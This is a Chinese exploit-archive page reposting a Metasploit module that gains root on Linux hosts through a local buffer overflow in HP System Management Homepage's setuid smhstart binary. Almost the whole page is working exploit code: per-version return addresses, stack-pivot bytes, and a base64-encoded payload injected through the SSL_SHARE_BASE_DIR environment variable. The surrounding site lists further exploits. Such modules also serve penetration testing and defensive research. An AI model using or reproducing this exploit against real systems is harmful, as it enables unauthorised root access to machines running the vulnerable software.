首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP System Management Homepage Local Privilege Escalation
来源:metasploit.com 作者:agix 发布时间:2013-04-08  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common

	include Msf::Exploit::Local::Linux

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'HP System Management Homepage Local Privilege Escalation',
				'Description'   => %q{
						Versions of HP System Management Homepage <= 7.1.2 include a setuid root
					smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR
					env variable.
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'agix' # @agixid # Vulnerability discovery and Metasploit module
					],
				'Platform'      => [ 'linux' ],
				'Arch'          => [ ARCH_X86 ],
				'SessionTypes'  => [ 'shell' ],
				'Payload'		=>
					{
						'Space'     => 227,
						'BadChars' 	=> "\x00\x22"
					},
				'References'    =>
					[
						['OSVDB', '91990']
					],
				'Targets'       =>
					[
						[ 'HP System Management Homepage 7.1.1',
							{
								'Arch' => ARCH_X86,
								'CallEsp' => 0x080c86eb, # call esp
								'Offset' => 58
							}
						],
						[ 'HP System Management Homepage 7.1.2',
							{
								'Arch' => ARCH_X86,
								'CallEsp' => 0x080c8b9b, # call esp
								'Offset' => 58
							}
						],
					],
				'DefaultOptions' =>
					{
						'PrependSetuid'    => true
					},
				'DefaultTarget' => 0,
				'DisclosureDate' => "Mar 30 2013",
			}
			))
		register_options([
				OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])
			], self.class)
	end

	def exploit
		pl = payload.encoded
		padding = rand_text_alpha(target['Offset'])
		ret = [target['CallEsp']].pack('V')
		exploit =  pl
		exploit << ret
		exploit << "\x81\xc4\x11\xff\xff\xff" 	# add esp, 0xffffff11
		exploit << "\xe9\x0e\xff\xff\xff"		# jmp => begining of pl
		exploit << padding
		exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better
		id=cmd_exec("id -un")
		if id!="hpsmh"
			fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")
		end
		cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")
		cmd_exec("#{datastore['smhstartDir']}/smhstart")
	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Easy FTP Server 1.7.0.2 Denial
·VirtualDJ Pro/Home <=7.3 Buffe
·MediaMonkey Player v.4.0.7 Loc
·HexChat 2.9.4 Local Exploit Su
·Personal File Share 1.0 DoS
·Google AD Sync Tool Vulnerabil
·Easy DVD Player (libav) libavc
·Sysax Multi Server 6.10 - SSH
·SmallFTPd 1.0.3 Denial Of Serv
·BigAnt Server 2.97 - DDNF User
·Groovy Media Player 3.2.0 Buff
·Linksys WRT54GL apply.cgi Comm
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved